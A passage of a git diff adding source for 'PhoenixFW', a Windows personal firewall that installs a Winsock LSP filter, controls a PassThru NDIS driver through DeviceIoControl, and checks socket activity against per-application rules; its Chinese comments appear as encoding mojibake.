*sFilename) +{ + TCHAR sDrive[_MAX_DRIVE]; + TCHAR sDir[_MAX_DIR]; + TCHAR sFname[_MAX_FNAME]; + TCHAR sExt[_MAX_EXT]; + + _tsplitpath(sFilename, sDrive, sDir, sFname, sExt); + + CString rVal; + rVal.Format(_T("%s%s"), sFname, sExt); + + return rVal; +} \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/StdAfx.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/StdAfx.h new file mode 100644 index 0000000..54e7998 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/StdAfx.h @@ -0,0 +1,50 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#if !defined(AFX_STDAFX_H__0C568B09_4D19_40F6_9213_484EB885C0B1__INCLUDED_) +#define AFX_STDAFX_H__0C568B09_4D19_40F6_9213_484EB885C0B1__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers + +#include // MFC core and standard components +#include // MFC extensions +#include // MFC Automation classes +#include // MFC support for Internet Explorer 4 Common Controls +#ifndef _AFX_NO_AFXCMN_SUPPORT +#include // MFC support for Windows Common Controls +#endif // _AFX_NO_AFXCMN_SUPPORT + +#include "atlbase.h" + +#include +#pragma comment(lib, "Ws2_32.lib") +#pragma comment(lib, "Rpcrt4.lib") + +#include "../common/PMacRes.h" +#include "../common/TypeStruct.h" +#include "PRuleFile.h" +#include "PIOControl.h" +#include "iocommon.h" +#include "ptutils.h" + +extern CPRuleFile g_RuleFile; +extern CPIOControl *g_pIoControl; + + +CString GetFilePath(TCHAR *sFilename); +CString GetFileName(TCHAR *sFilename); + +BOOL InstallProvider(WCHAR *pwszPathName); +BOOL RemoveProvider(); + + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_STDAFX_H__0C568B09_4D19_40F6_9213_484EB885C0B1__INCLUDED_) diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/SyssetPage.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/SyssetPage.cpp new file mode 100644 index 0000000..a68be12 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/SyssetPage.cpp @@ -0,0 +1,172 @@ +// SyssetPage.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "SyssetPage.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + + +///////////////////////////////////////////////////////////////////////////// +// CSyssetPage property page + +IMPLEMENT_DYNCREATE(CSyssetPage, CPropertyPage) + +CSyssetPage::CSyssetPage() : CPropertyPage(CSyssetPage::IDD) +{ + //{{AFX_DATA_INIT(CSyssetPage) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + +CSyssetPage::~CSyssetPage() +{ +} + +void CSyssetPage::DoDataExchange(CDataExchange* pDX) +{ + CPropertyPage::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CSyssetPage) + DDX_Control(pDX, IDC_AUTOSTART, m_AutoStart); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CSyssetPage, CPropertyPage) + //{{AFX_MSG_MAP(CSyssetPage) + ON_BN_CLICKED(IDC_INSTALL, OnInstall) + ON_BN_CLICKED(IDC_REMOVE, OnRemove) + ON_BN_CLICKED(IDC_AUTOSTART, OnAutostart) + ON_BN_CLICKED(IDC_PASS_ALL, OnPassAll) + ON_BN_CLICKED(IDC_QUERY_ALL, OnQueryAll) + ON_BN_CLICKED(IDC_DENY_ALL, OnDenyAll) + ON_BN_CLICKED(IDC_KERPASS_ALL, OnKerpassAll) + ON_BN_CLICKED(IDC_KERSTART_FILTER, OnKerstartFilter) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CSyssetPage message handlers + +BOOL CSyssetPage::OnInitDialog() +{ + CPropertyPage::OnInitDialog(); + + // ÉèÖÿª»ú×Ô¶¯Æô¶¯¸´Ñ¡¿ò + if(g_RuleFile.m_header.bAutoStart) + ((CButton*)GetDlgItem(IDC_AUTOSTART))->SetCheck(1); + + // Óû§²ã¹¤×÷ģʽÉèÖõ¥Ñ¡¿ò + switch(g_RuleFile.m_header.ucLspWorkMode) + { + case PF_PASS_ALL: + ((CButton*)GetDlgItem(IDC_PASS_ALL))->SetCheck(1); + break; + case PF_QUERY_ALL: + ((CButton*)GetDlgItem(IDC_QUERY_ALL))->SetCheck(1); + break; + case PF_DENY_ALL: + ((CButton*)GetDlgItem(IDC_DENY_ALL))->SetCheck(1); + break; + } + + // ºËÐIJ㹤×÷ģʽÉèÖõ¥Ñ¡¿ò + switch(g_RuleFile.m_header.ucKerWorkMode) + { + case IM_PASS_ALL: + ((CButton*)GetDlgItem(IDC_KERPASS_ALL))->SetCheck(1); + break; + case IM_START_FILTER: + ((CButton*)GetDlgItem(IDC_KERSTART_FILTER))->SetCheck(1); + break; + } + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + +void CSyssetPage::OnInstall() // Óû§µã»÷"°²×°"°´Å¥ +{ + TCHAR szPathName[256]; + TCHAR* p; + + // ×¢Ò⣬°²×°LSPÐèҪʹÓÃÍêÕûDLL·¾¶¡£ÕâÑùµÄ»°£¬CPIOControlÀàÔÚ¼ÓÔØDLLʱҲӦʹÓà + // ÍêÕû·¾¶£¬·ñÔòCPIOControlÀà¼ÓÔصÄDLL²»ÄܺÍ×÷ΪLSPµÄDLL¹²ÏíÄÚ´æ + if(::GetFullPathName(PHOENIX_SERVICE_DLL_NAME, 256, szPathName, &p) != 0) + { + if(InstallProvider(szPathName)) + { + MessageBox(L" Ó¦Óòã¹ýÂË°²×°³É¹¦£¡"); + return; + } + } + MessageBox(L" Ó¦Óòã¹ýÂË°²×°Ê§°Ü£¡"); +} + +void CSyssetPage::OnRemove() // Óû§µã»÷"жÔØ"°´Å¥ +{ + if(RemoveProvider()) + MessageBox(L" Ó¦Óòã¹ýÂËжÔسɹ¦£¡"); + else + MessageBox(L" Ó¦Óòã¹ýÂËжÔØʧ°Ü£¡"); +} + + +void CSyssetPage::OnAutostart() // Óû§µã»÷"¿ª»ú×Ô¶¯ÔËÐÐ"¸´Ñ¡¿ò +{ + BOOL bCheck = m_AutoStart.GetCheck(); + g_RuleFile.m_header.bAutoStart = bCheck; + + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} + +void CSyssetPage::OnPassAll() // Óû§µã»÷Óû§²ãϵġ°·ÅÐÐËùÓС±µ¥Ñ¡¿ò +{ + SetLspWorkMode(PF_PASS_ALL); +} + +void CSyssetPage::OnQueryAll() // Óû§µã»÷Óû§²ãϵġ°Ñ¯ÎÊ¡± µ¥Ñ¡¿ò +{ + SetLspWorkMode(PF_QUERY_ALL); +} + +void CSyssetPage::OnDenyAll() // Óû§µã»÷Óû§²ãϵġ°¾Ü¾øËùÓС± µ¥Ñ¡¿ò +{ + SetLspWorkMode(PF_DENY_ALL); +} + + +void CSyssetPage::OnKerpassAll() // Óû§µã»÷ºËÐIJãϵġ°·ÅÐÐËùÓС± µ¥Ñ¡¿ò +{ + SetKerWorkMode(IM_PASS_ALL); +} + +void CSyssetPage::OnKerstartFilter() // Óû§µã»÷ºËÐIJãϵġ°¿ªÆô¹ýÂË¡± µ¥Ñ¡¿ò +{ + SetKerWorkMode(IM_START_FILTER); +} + + +void CSyssetPage::SetKerWorkMode(int nWorkMode) +{ + g_RuleFile.m_header.ucKerWorkMode = nWorkMode; + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} + +void CSyssetPage::SetLspWorkMode(int nWorkMode) +{ + g_RuleFile.m_header.ucLspWorkMode = nWorkMode; + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} + + + + diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/SyssetPage.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/SyssetPage.h new file mode 100644 index 0000000..9d016bd --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/SyssetPage.h @@ -0,0 +1,60 @@ +#if !defined(AFX_SYSSETPAGE_H__A58C43DD_CA34_4ED5_AD7A_C0BAC9B95BED__INCLUDED_) +#define AFX_SYSSETPAGE_H__A58C43DD_CA34_4ED5_AD7A_C0BAC9B95BED__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// SyssetPage.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CSyssetPage dialog + +class CSyssetPage : public CPropertyPage +{ + DECLARE_DYNCREATE(CSyssetPage) + +// Construction +public: + CSyssetPage(); + ~CSyssetPage(); + + void SetLspWorkMode(int nWorkMode); + void SetKerWorkMode(int nWorkMode); + +// Dialog Data + //{{AFX_DATA(CSyssetPage) + enum { IDD = IDD_SYSSET }; + CButton m_AutoStart; + //}}AFX_DATA + + +// Overrides + // ClassWizard generate virtual function overrides + //{{AFX_VIRTUAL(CSyssetPage) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + // Generated message map functions + //{{AFX_MSG(CSyssetPage) + afx_msg void OnInstall(); + afx_msg void OnRemove(); + afx_msg void OnAutostart(); + afx_msg void OnPassAll(); + afx_msg void OnQueryAll(); + afx_msg void OnDenyAll(); + virtual BOOL OnInitDialog(); + afx_msg void OnKerpassAll(); + afx_msg void OnKerstartFilter(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() + +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_SYSSETPAGE_H__A58C43DD_CA34_4ED5_AD7A_C0BAC9B95BED__INCLUDED_) diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/_desktop.ini b/Project/Network and Communication/Phoenix/user/PhoenixFW/_desktop.ini new file mode 100644 index 0000000..18aa814 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/_desktop.ini @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/prule.fnk b/Project/Network and Communication/Phoenix/user/PhoenixFW/prule.fnk new file mode 100644 index 0000000..8424a0a Binary files /dev/null and b/Project/Network and Communication/Phoenix/user/PhoenixFW/prule.fnk differ diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/ptutils.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/ptutils.cpp new file mode 100644 index 0000000..394a2f9 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/ptutils.cpp @@ -0,0 +1,223 @@ + +#include "stdafx.h" + +#include +#include +#include +#include + +#include "IOCOMMON.h" +#include "ptutils.h" + + +HANDLE PtOpenControlDevice() +{ + // ´ò¿ªµ½Çý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + HANDLE hFile = ::CreateFile( + _T("\\\\.\\PassThru"), + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return hFile; +} + +HANDLE PtOpenAdapter(PWSTR pszAdapterName) +{ + // ´ò¿ª¿ØÖÆÉ豸¶ÔÏó¾ä±ú + HANDLE hAdapter = PtOpenControlDevice(); + if(hAdapter == INVALID_HANDLE_VALUE) + return INVALID_HANDLE_VALUE; + + + // È·¶¨ÊÊÅäÆ÷Ãû³ÆµÄ³¤¶È + int nBufferLength = wcslen((PWSTR)pszAdapterName) * sizeof(WCHAR); + + // ·¢ËÍIOCTL_PTUSERIO_OPEN_ADAPTER¿ØÖÆ´úÂ룬´ò¿ªÊÊÅäÆ÷ÉÏÏÂÎÄ + DWORD dwBytesReturn; + BOOL bOK = ::DeviceIoControl(hAdapter, IOCTL_PTUSERIO_OPEN_ADAPTER, + pszAdapterName, nBufferLength, NULL, 0, &dwBytesReturn, NULL); + // ¼ì²é½á¹û + if(!bOK) + { + ::CloseHandle(hAdapter); + return INVALID_HANDLE_VALUE; + } + return hAdapter; +} + +BOOL PtAdapterRequest(HANDLE hAdapter, PPTUSERIO_OID_DATA pOidData, BOOL bQuery) +{ + if(hAdapter == INVALID_HANDLE_VALUE) + return FALSE; + // ·¢ËÍIOCTL + DWORD dw; + int bRet = ::DeviceIoControl( + hAdapter, bQuery ? IOCTL_PTUSERIO_QUERY_OID : IOCTL_PTUSERIO_SET_OID, + pOidData, sizeof(PTUSERIO_OID_DATA) -1 + pOidData->Length, + pOidData, sizeof(PTUSERIO_OID_DATA) -1 + pOidData->Length, &dw, NULL); + + return bRet; +} + +// + +// ²éѯÍøÂç»î¶¯×´Ì¬ +BOOL PtQueryStatistics(HANDLE hAdapter, PPassthruStatistics pStats) +{ + ULONG nStatsLen = sizeof(PassthruStatistics); + BOOL bRet = ::DeviceIoControl(hAdapter, + IOCTL_PTUSERIO_QUERY_STATISTICS, NULL, 0, pStats, nStatsLen, &nStatsLen, NULL); + + return bRet; +} + +// ÖØÖÃͳ¼ÆÊý×Ö +BOOL PtResetStatistics(HANDLE hAdapter) +{ + DWORD dwBytes; + BOOL bRet = ::DeviceIoControl(hAdapter, + IOCTL_PTUSERIO_RESET_STATISTICS, NULL, 0, NULL, 0, &dwBytes, NULL); + return bRet; +} + +// ÏòÊÊÅäÆ÷Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò +BOOL PtAddFilter(HANDLE hAdapter, PPassthruFilter pFilter) +{ + ULONG nFilterLen = sizeof(PassthruFilter); + BOOL bRet = ::DeviceIoControl(hAdapter, IOCTL_PTUSERIO_ADD_FILTER, + pFilter, nFilterLen, NULL, 0, &nFilterLen, NULL); + return bRet; +} + +// Çå³ýÊÊÅäÆ÷ÉϵĹýÂ˹æÔò +BOOL PtClearFilter(HANDLE hAdapter) +{ + DWORD dwBytes; + BOOL bRet = ::DeviceIoControl(hAdapter, + IOCTL_PTUSERIO_CLEAR_FILTER, NULL, 0, NULL, 0, &dwBytes, NULL); + return bRet; +} + +////////////////////////////////////////////////////////// + +BOOL CIMAdapters::EnumAdapters(HANDLE hControlDevice) +{ + DWORD dwBufferLength = sizeof(m_buffer); + BOOL bRet = ::DeviceIoControl(hControlDevice, IOCTL_PTUSERIO_ENUMERATE, + NULL, 0, m_buffer, dwBufferLength, &dwBufferLength, NULL); + if(!bRet) + return FALSE; + + // ±£´æÊÊÅäÆ÷ÊýÁ¿ + m_nAdapters = (ULONG)((ULONG*)m_buffer)[0]; + + // ÏÂÃæ´Óm_bufferÖлñÈ¡ÊÊÅäÆ÷Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ + // Ö¸ÏòÉ豸Ãû³Æ + WCHAR *pwsz = (WCHAR *)((ULONG *)m_buffer + 1); + int i = 0; + m_pwszVirtualName[i] = pwsz; + while(*(pwsz++) != NULL) + { + while(*(pwsz++) != NULL) + { ; } + + m_pwszAdapterName[i] = pwsz; + + while(*(pwsz++) != NULL) + { ; } + + if(++i >= MAX_ADAPTERS) + break; + + m_pwszVirtualName[i] = pwsz; + } + + return TRUE; +} + + + +// ÉèÖÃIMÇý¶¯µÄ¹ýÂ˹æÔò +BOOL IMSetRules(PPassthruFilter pRules, int nRuleCount) +{ + BOOL bRet = TRUE; + // ´ò¿ªPassThruExÇý¶¯µÄ¿ØÖÆÉ豸¶ÔÏó£¬Ã¶¾Ùϲã°ó¶¨ + HANDLE hControlDevice = PtOpenControlDevice(); + CIMAdapters adapters; + if(!adapters.EnumAdapters(hControlDevice)) + return FALSE; + + // ½«¹ýÂ˹æÔòÉèÖõ½Ã¿¸öϲãÊÊÅäÆ÷ + HANDLE hAdapter; + int i, j; + for(i=0; i +#include +#include +#include + +#include "../common/debug.h" + +#include "Acl.h" + + +/////////////////////////////////////// +// ¹²ÏíÄÚ´æ + +// ËùÓÐʹÓÃWinsock·ÃÎÊÍøÂçµÄÓ¦ÓóÌÐò¶¼¹²ÏíinitdataºÍuinitdata¶ÎµÄ±äÁ¿ +#pragma data_seg(".initdata") +HWND g_hPhoenixWnd = NULL; // Ö÷´°¿Ú¾ä±ú +UCHAR g_ucWorkMode = PF_PASS_ALL; // ¹¤×÷ģʽ +#pragma data_seg() + +#pragma bss_seg(".uinitdata") +RULE_ITEM g_Rule[MAX_RULE_COUNT]; // Ó¦Óòã¹æÔò +ULONG g_RuleCount; +QUERY_SESSION g_QuerySession[MAX_QUERY_SESSION]; // ÏòÖ÷³ÌÐò·¢ËͻỰѯÎÊʱʹÓà +SESSION g_SessionBuffer[MAX_SESSION_BUFFER]; // ÏòÖ÷³ÌÐò·¢ËͻỰÐÅϢʱʹÓà +TCHAR g_szPhoenixFW[MAX_PATH]; // ¼Ç¼Ö÷³ÌÐò·¾¶ +#pragma bss_seg() + + +extern TCHAR g_szCurrentApp[MAX_PATH]; + +CRITICAL_SECTION g_csGetAccess; + + + +CAcl::CAcl() +{ + m_nSessionCount = 0; + // Ϊ»á»°½á¹¹Ô¤ÉêÇëÄÚ´æ¿Õ¼ä + m_nSessionMaxCount = INIT_SESSION_BUFFER; + m_pSession = new SESSION[m_nSessionMaxCount]; + + ::InitializeCriticalSection(&g_csGetAccess); +} + +CAcl::~CAcl() +{ + ODS(L" CAcl::~CAcl send CODE_APP_EXIT ... "); + // ֪ͨÖ÷Ä£¿é£¬µ±Ç°Ó¦ÓóÌÐòÕýÔÚÍ˳ö + int nIndex = CreateSession(0, 0); + NotifySession(&m_pSession[nIndex], CODE_APP_EXIT); + + delete[] m_pSession; + ::DeleteCriticalSection(&g_csGetAccess); +} + +///////////////////////////////////////////////////////// +// ¼ì²éº¯Êý + +void CAcl::CheckSocket(SOCKET s, int af, int type, int protocol) +{ + if (af != AF_INET) // ½öÖ§³ÖIPv4 + return; + + // ÏÈÅжϻù±¾Ð­ÒéÀàÐÍ + + int nProtocol = RULE_SERVICE_TYPE_ALL; + + if(protocol == 0) + { + if(type == SOCK_STREAM) + nProtocol = RULE_SERVICE_TYPE_TCP; + else if(type == SOCK_DGRAM) + nProtocol = RULE_SERVICE_TYPE_UDP; + } + else if(protocol == IPPROTO_TCP) + nProtocol = RULE_SERVICE_TYPE_TCP; + else if(protocol == IPPROTO_UDP) + nProtocol = RULE_SERVICE_TYPE_UDP; + + // ΪÐÂÌ×½Ú×Ö´´½¨»á»°£¬Ö¸Ã÷ЭÒéÀàÐÍ + CreateSession(s, nProtocol); +} + +void CAcl::CheckCloseSocket(SOCKET s) +{ + // ɾ³ý»á»° + DeleteSession(s); +} + +void CAcl::CheckBind(SOCKET s, const struct sockaddr *addr) +{ + int nIndex; + if((nIndex = FindSession(s)) >= m_nSessionCount) + return; + + // ÉèÖûỰ + sockaddr_in *pLocal = (sockaddr_in *)addr; + m_pSession[nIndex].usLocalPort = ntohs(pLocal->sin_port); + + if(pLocal->sin_addr.S_un.S_addr != ADDR_ANY) + m_pSession[nIndex].ulLocalIP = *((DWORD*)&pLocal->sin_addr); +} + + +int CAcl::CheckAccept(SOCKET s, SOCKET sNew, sockaddr FAR *addr) +{ + int nIndex; + if((nIndex = FindSession(s)) >= m_nSessionCount) + return PF_PASS; + + nIndex = CreateSession(sNew, RULE_SERVICE_TYPE_TCP); + + // ÉèÖûỰ + if(addr != NULL) + { + sockaddr_in *pRemote = (sockaddr_in *)addr; + USHORT usPort = ntohs(pRemote->sin_port); + DWORD dwIP = *((DWORD*)&pRemote->sin_addr); + SetSession(&m_pSession[nIndex], usPort, dwIP, RULE_DIRECTION_IN_OUT); + } + + return GetAccessInfo(&m_pSession[nIndex]); +} + +int CAcl::CheckConnect(SOCKET s, const struct sockaddr FAR *addr) +{ + int nIndex; + if((nIndex = FindSession(s)) >= m_nSessionCount) + return PF_PASS; + + // ÉèÖûỰԶ³ÌµØÖ· + sockaddr_in *pRemote = (sockaddr_in *)addr; + USHORT usPort = ntohs(pRemote->sin_port); + DWORD dwIP = *((DWORD*)&pRemote->sin_addr); + SetSession(&m_pSession[nIndex], usPort, dwIP, RULE_DIRECTION_IN_OUT); + + return GetAccessInfo(&m_pSession[nIndex]); +} + +int CAcl::CheckSendTo(SOCKET s, const SOCKADDR *pTo) +{ + int nIndex; + if((nIndex = FindSession(s)) >= m_nSessionCount) + return PF_PASS; + + if(pTo != NULL) + { + // ÉèÖûỰԶ³ÌµØÖ· + sockaddr_in *pRemote = (sockaddr_in *)pTo; + USHORT usPort = ntohs(pRemote->sin_port); + DWORD dwIP = *((DWORD*)&pRemote->sin_addr); + SetSession(&m_pSession[nIndex], usPort, dwIP, RULE_DIRECTION_OUT); + } + + return GetAccessInfo(&m_pSession[nIndex]); +} + +int CAcl::CheckRecvFrom(SOCKET s, SOCKADDR *pFrom) +{ + int nIndex; + if((nIndex = FindSession(s)) >= m_nSessionCount) + return PF_PASS; + + if(pFrom != NULL) + { + // ÉèÖûỰԶ³ÌµØÖ· + sockaddr_in *pRemote = (sockaddr_in *)pFrom; + USHORT usPort = ntohs(pRemote->sin_port); + DWORD dwIP = *((DWORD*)&pRemote->sin_addr); + SetSession(&m_pSession[nIndex], usPort, dwIP, RULE_DIRECTION_IN); + } + return GetAccessInfo(&m_pSession[nIndex]); +} + + +///////////////////////////////////////////////////////////// +// ²é¿´·ÃÎÊȨÏÞ + + +int CAcl::GetAccessInfo(SESSION *pSession) +{ + // Èç¹ûÊÇÖ÷Ä£¿é·ÃÎÊÍøÂ磬·ÅÐÐ + if(wcsicmp(g_szCurrentApp, g_szPhoenixFW) == 0) + { + return PF_PASS; + } + + // ÏȲ鿴¹¤×÷ģʽ + int nRet; + if((nRet = GetAccessFromWorkMode(pSession)) != PF_FILTER) + { + ODS(L" GetAccessInfo return from WorkMode \n"); + return nRet; + } + + // ¹¤×÷ģʽΪ¹ýÂË£¬Ôò°´ÕÕÎļþÖмǼµÄ¹æÔò¹ýÂËÖ® + ::EnterCriticalSection(&g_csGetAccess); + + RULE_ITEM *pItem = NULL; + int nIndex = 0; + nRet = PF_PASS; + while(TRUE) + { + // Èç¹û²»ÊǵÚÒ»´Î²éѯ£¬Ôò¼Ó1£¬±ÜÃâ²éÕÒÏàͬµÄ¹æÔò + if(nIndex > 0) + nIndex++; + + nIndex = FindRule(g_szCurrentApp, nIndex); + if(nIndex >= (int)g_RuleCount) + { + if(pItem == NULL) // Ò»¸ö¼Ç¼ÏîҲûÓУ¬Ôò²éѯ + { + // ѯÎÊÖ÷Ä£¿éÔõô°ì + if(!QueryAccess()) + { + nRet = PF_DENY; + } + break; + } + else // °´ÕÕÉÏÒ»¸ö¼Ç¼Ïî´¦Àí + { + if(pItem->ucAction != RULE_ACTION_PASS) + { + nRet = PF_DENY; + } + break; + } + } + + ODS(L" Find a rule in GetAccessInfo "); + // ²é¿´¹æÔòºÍ»á»°µÄÊôÐÔÊÇ·ñÒ»Ö + pItem = &g_Rule[nIndex]; + // ·½Ïò + if(pItem->ucDirection != RULE_DIRECTION_IN_OUT && + pItem->ucDirection != pSession->ucDirection) + continue; + // ·þÎñÀàÐÍ + if(pItem->ucServiceType != RULE_SERVICE_TYPE_ALL && + pItem->ucServiceType != pSession->nProtocol) + continue; + // ·þÎñ¶Ë¿Ú + if(pItem->usServicePort != RULE_SERVICE_PORT_ALL && + pItem->usServicePort != pSession->usRemotePort) + continue; + // ³ÌÐòÔËÐе½ÕâÀ˵Ã÷ÕÒµ½ÁËÒ»¸öºÍ»á»°ÊôÐÔÍêÈ«ÏàͬµÄ¹æÔò + if(pItem->ucAction != RULE_ACTION_PASS) + { + nRet = PF_DENY; + } + break; + } + ::LeaveCriticalSection(&g_csGetAccess); + + if(nRet == PF_PASS) + pSession->ucAction = RULE_ACTION_PASS; + else + pSession->ucAction = RULE_ACTION_DENY; + return nRet; +} + +int CAcl::GetAccessFromWorkMode(SESSION *pSession) +{ + if(g_ucWorkMode == PF_PASS_ALL) + return PF_PASS; + + if(g_ucWorkMode == PF_DENY_ALL) + return PF_DENY; + + if(g_ucWorkMode == PF_QUERY_ALL) + return PF_FILTER; + + return PF_UNKNOWN; +} + +int CAcl::FindRule(TCHAR *szAppName, int nStart) +{ + // ´ÓÖ¸¶¨Î»ÖÿªÊ¼²éÕÒ£¬·µ»Ø¹æÔòµÄË÷Òý + int nIndex; + for(nIndex = nStart; nIndex < (int)g_RuleCount; nIndex++) + { + if(wcsicmp(szAppName, g_Rule[nIndex].szApplication) == 0) + break; + } + return nIndex; +} + +BOOL CAcl::QueryAccess() +{ + ODS(L" QueryAccess ... "); + + // ·¢ËÍÏûÏ¢ + for(int i=0; i 3000) // µÈ5·ÖÖÓ£¬Èç¹ûÓû§»¹²»¾ö¶¨£¬¾Í½ûÖ¹ + return FALSE; + ::Sleep(100); + } + + if(g_QuerySession[i].nReturnValue == 0) + return FALSE; + return TRUE; + } + } + // ÓÃÍêÁË + return FALSE; +} + + +///////////////////////////////////////////////////////////////////////////////////// +// »á»°²Ù×÷ + +int CAcl::CreateSession(SOCKET s, int nProtocol) +{ + for(int i=0; i= m_nSessionMaxCount) // ÒѾ­´ïµ½×î´óÊýÁ¿ + { + SESSION *pTmp = new SESSION[m_nSessionMaxCount]; + memcpy(pTmp, m_pSession, m_nSessionMaxCount); + + delete[] m_pSession; + m_pSession = new SESSION[m_nSessionMaxCount*2]; + + memcpy(m_pSession, pTmp, m_nSessionMaxCount); + delete[] pTmp; + m_nSessionMaxCount = m_nSessionMaxCount*2; + } + // ³õʼ»¯ÐµĻỰ + InitializeSession(&m_pSession[m_nSessionCount]); + // ÉèÖûỰÊôÐÔ + m_pSession[m_nSessionCount].s = s; + m_pSession[m_nSessionCount].nProtocol = nProtocol; + wcscpy(m_pSession[m_nSessionCount].szPathName, g_szCurrentApp); + m_nSessionCount++; + + ODS1(L" CreateSession m_nSessionCount = %d \n", m_nSessionCount); + // ·µ»Ø»á»°Ë÷Òý + return m_nSessionCount - 1; +} + +void CAcl::InitializeSession(SESSION *pSession) +{ + memset(pSession, 0, sizeof(SESSION)); + pSession->ucDirection = RULE_DIRECTION_NOT_SET; + pSession->ucAction = RULE_ACTION_NOT_SET; +} + +void CAcl::DeleteSession(SOCKET s) +{ + for(int i=0; iucDirection = ucDirection; + if((pSession->usRemotePort != usRemotePort) || (pSession->ulRemoteIP != ulRemoteIP)) + { + // ¸ù¾ÝÔ¶³Ì¶Ë¿ÚºÅÉèÖÃÔ¶³Ì·þÎñÀàÐÍ + if(pSession->nProtocol == RULE_SERVICE_TYPE_TCP) + { + if(usRemotePort == RULE_SERVICE_PORT_FTP) + pSession->nProtocol = RULE_SERVICE_TYPE_FTP; + else if(usRemotePort == RULE_SERVICE_PORT_TELNET) + pSession->nProtocol = RULE_SERVICE_TYPE_TELNET; + else if(usRemotePort == RULE_SERVICE_PORT_POP3) + pSession->nProtocol = RULE_SERVICE_TYPE_POP3; + else if(usRemotePort == RULE_SERVICE_PORT_SMTP) + pSession->nProtocol = RULE_SERVICE_TYPE_SMTP; + else if(usRemotePort == RULE_SERVICE_PORT_NNTP) + pSession->nProtocol = RULE_SERVICE_TYPE_NNTP; + else if(usRemotePort == RULE_SERVICE_PORT_HTTP) + pSession->nProtocol = RULE_SERVICE_TYPE_HTTP; + } + + // ÉèÖÃÆäËü + pSession->usRemotePort = usRemotePort; + pSession->ulRemoteIP = ulRemoteIP; + + // ֪ͨÖ÷³ÌÐò + NotifySession(pSession, CODE_CHANGE_SESSION); + } +} + +int CAcl::FindSession(SOCKET s) +{ + int i=0; + for(i; ipRuleFile->header.ulLspRuleCount <= MAX_RULE_COUNT) + { + g_RuleCount = pIoControl->pRuleFile->header.ulLspRuleCount; + memcpy(g_Rule, pIoControl->pRuleFile->LspRules, g_RuleCount * sizeof(RULE_ITEM)); + } + } + break; + case IO_CONTROL_SET_WORK_MODE: // ÉèÖù¤×÷ģʽ + { + g_ucWorkMode = pIoControl->ucWorkMode; + } + break; + case IO_CONTROL_GET_WORK_MODE: // »ñÈ¡¹¤×÷ģʽ + { + return g_ucWorkMode; + } + break; + case IO_CONTROL_SET_PHOENIX_INSTANCE: // ÉèÖÃÖ÷Ä£¿éÐÅÏ¢ + { + g_hPhoenixWnd = pIoControl->hPhoenixWnd; + wcscpy(g_szPhoenixFW, pIoControl->szPath); + } + break; + case IO_CONTROL_GET_SESSION: // »ñÈ¡Ò»¸ö»á»° + { + *pIoControl->pSession = g_SessionBuffer[pIoControl->nSessionIndex]; + // ±êʶÒѾ­²»ÔÙʹÓÃÕâ¸ö³ÉÔ±ÁË + g_SessionBuffer[pIoControl->nSessionIndex].s = 0; + } + break; + case IO_CONTROL_SET_QUERY_SESSION: // ·µ»ØDLLѯÎʵĽá¹û + { + g_QuerySession[pIoControl->nSessionIndex].nReturnValue = pIoControl->ucWorkMode; + // ±êʶÒѾ­²»ÔÙʹÓÃÕâ¸ö³ÉÔ±ÁË + g_QuerySession[pIoControl->nSessionIndex].bUsed = FALSE; + } + break; + case IO_CONTROL_GET_QUERY_SESSION: // »ñÈ¡·¢³öѯÎʵĻỰ + { + wcscpy(pIoControl->szPath, g_QuerySession[pIoControl->nSessionIndex].szPathName); + } + break; + } + return 0; +} + + + + + + + + + + + + +/* + + + + +int CAcl::CheckSend(SOCKET s, const char 